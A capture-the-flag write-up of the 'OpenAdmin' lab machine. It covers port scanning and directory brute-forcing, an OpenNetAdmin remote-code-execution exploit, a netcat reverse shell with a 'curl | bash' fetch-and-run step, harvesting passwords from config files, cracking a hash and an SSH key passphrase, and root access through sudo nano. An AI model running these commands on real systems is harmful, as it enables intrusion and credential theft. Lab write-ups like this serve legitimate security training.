$ nmap -Pn -n -A -T5 -p1-65535
Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-03 17:28 CEST
Warning: giving up on port because retransmission cap hit (2).
Nmap scan report for
Host is up (0.058s latency).
Not shown: 64972 closed ports, 561 filtered ports
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
|   256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_  256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 446.94 seconds

Nmap ended showing 2 common open ports. The first one is SSH (22) and the second one is a Apache2 (80).
SSH often isn’t a good choice when starting a pentest so I decided to check what’s on the web side.

Home page

Home page



Unfortunatly I landed on the default apache web page. Nothing interesting. Since it was my only lead I decided to start some dirbuster against the machine. This tool is really useful to find directories by bruteforcing them.

$ gobuster -u -w ~/wordlists/directory-list-2.3-medium.txt
Gobuster v2.0.1              OJ Reeves (@TheColonial)
[+] Mode         : dir
[+] Url/Domain   :
[+] Threads      : 10
[+] Wordlist     : /home/atsika/wordlists/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout      : 10s
2020/05/03 17:41:04 Starting gobuster
/music (Status: 301)
/artwork (Status: 301)
/sierra (Status: 301)
/server-status (Status: 403)
2020/05/03 18:04:18 Finished

Looks like it worked ! I started browsing through directories found by dirbuster.


This page looked more like a real website. Navigating on login page lead to a weird page but with a lot of useful information like a version number. I clicked on “DOWNLOAD” and arrived on the OpenNetAdmin page.

OpenNetAdmin provides a database managed inventory of your IP network. Each subnet, host, and IP can be tracked via a centralized AJAX enabled web interface that can help reduce tracking errors. 1

Now I knew that there was an OpenNetAdmin service running on the machine and I knew the version number. Next step was to find if there was an exploit for it.
Spoiler : of course there was one :)


This specific version of OpenNetAdmin was vulnerable to RCE, a pretty critical vulnerability. I used an exploit in bash found on exploit-db.com.

I set up a listener.

$ nc -lvnp 4444
listening on [any] 4444 ...

I tried using nc 4444 -c /bin/sh with the exploit but It didn’t worked. My solution to bypass this was to first create a script, put the command in it then with the exploit retrieve and execute the script. I started a SimpleHTTPServer with python to host the script.

$ $ curl | bash

I worked properly this time and now I got a reverse shell on the machine.

connect to [] from (UNKNOWN) [] 41552
bash: cannot set terminal process group (1016): Inappropriate ioctl for device
bash: no job control in this shell
www-data@openadmin:/opt/ona/www$ whoami

Privilege Escalation


www-data is a limited user, so I needed to elevate my privileges by switching user. Listing the home directory revealed me 2 users : jimmy and joanna. That was a really worthy information.
Continuing my enumeration and browsing through directories I found an interesting file containing a password.

www-data@openadmin:/opt/ona/www/local/config$ cat database_settings.inc.php
cat database_settings.inc.php

$ona_contexts=array (
  'DEFAULT' => 
  array (
    'databases' => 
    array (
      0 => 
      array (
        'db_type' => 'mysqli',
        'db_host' => 'localhost',
        'db_login' => 'ona_sys',
        'db_passwd' => 'n1nj4W4rri0R!',
        'db_database' => 'ona_default',
        'db_debug' => false,
    'description' => 'Default data context',
    'context_color' => '#D3DBFF',

Remembering that there was a SSH service running on the machine, I tried using this password with both users I found previously. joanna failed. By luck jimmy succeed and now I got a better shell with a user with more rights.

$ ssh jimmy@
The authenticity of host ' (' can't be established.
ECDSA key fingerprint is SHA256:loIRDdkV6Zb9r8OMF3jSDMW3MnV5lHgn4wIRq+vmBJY.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '' (ECDSA) to the list of known hosts.
jimmy@'s password: 
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun May  3 17:32:54 UTC 2020

  System load:  0.0               Processes:             119
  Usage of /:   49.5% of 7.81GB   Users logged in:       0
  Memory usage: 20%               IP address for ens160:
  Swap usage:   0%

 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:

41 packages can be updated.
12 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Thu Jan  2 20:50:03 2020 from


Since there was no user.txt in /home/jimmy this meant that jimmy wasn’t the user required to escalate privileges up to root. The only other user I found was joanna so I started doing again some enumeration. During this phase I found something interesting in the ouput of the command netstat -alnp | grep “LISTEN “. There was something running on port 52846 accessible only on localhost (

jimmy@openadmin:~$ netstat -alnp | grep "LISTEN "
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0*               LISTEN      -                   
tcp        0      0 *               LISTEN      -                   
tcp        0      0    *               LISTEN      -                   
tcp        0      0*               LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -

I didn’t know what it was so I tried to nc it. And it appeared to be a web page. So I assumued it was a web service running on this port. Since it’s only accessible I decided to use SSH Forwarding to check the page.

$ ssh -L 8080: jimmy@
jimmy@'s password:

I landed on a simple login page. Unfortunatly jimmy’s credentials didn’t worked there. Usually web related files are located in /var/www/ so I went there to take a look.
There were 2 folders there : html containing the music page we saw at the begining and internal. Checking the internal folder revealed 3 files : index.php (the page we landed on), main.php and logout.php.
After inspecting each one this is what I found :

if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1')
	$_SESSION['username'] = 'jimmy';
    header("Location: /main.php");
} else {
    $msg = 'Wrong username or password.';

Connecting with username jimmy and password (which is hashed there) will redirect me to main.php.

<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); }; 
# Open Admin Trusted
# OpenAdmin
	$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
	echo "<pre>$output</pre>";
	<h3>Don't forget your "ninja" password</h3>
	Click here to logout <a href="logout.php" tite = "Logout">Session

A logged user accessing this page will get the joanna’s private ssh key printed. Exactly what I needed to connect.
First I needed to reverse the hash. To do so I used an online tool which gave me Revealed as result.
Using jimmy as username and Revealed as password printed me the key as expected.

I noticied in the header that the key was encrypted, in other words it needed a passphrase. So copied the key in a file on my machine, used ssh2john.py to convert it and then John The Ripper to crack it.

$ ./john hash_ssh_joanna.txt --wordlist=/home/atsika/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 8 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas      (ssh_joanna)
Warning: Only 1 candidate left, minimum 8 needed for performance.
1g 0:00:00:08 DONE (2020-05-03 20:41) 0.1128g/s 1618Kp/s 1618Kc/s 1618KC/s *7¡Vamos!
Session completed

That’s it ! I could now connect as joanna over SSH using her private key.


Starting enumeration with a classic sudo -l immediatly revealed me that joanna could execute /bin/nano /opt/priv with sudo without any password.
I immediatly checked GTFObins and found out how to get a shell using nano. Pretty easy :)


Overall I found this box great and specially the fact that you need to escalate 2 users to get to root. This box allowed me to practice SSH Forwading and SSH key cracking using John the Ripper. Unfortunalty I found the root part a little bit too easy compared to some other boxes.
Shoutout to léco ! You can find his Nest writeup in french right here.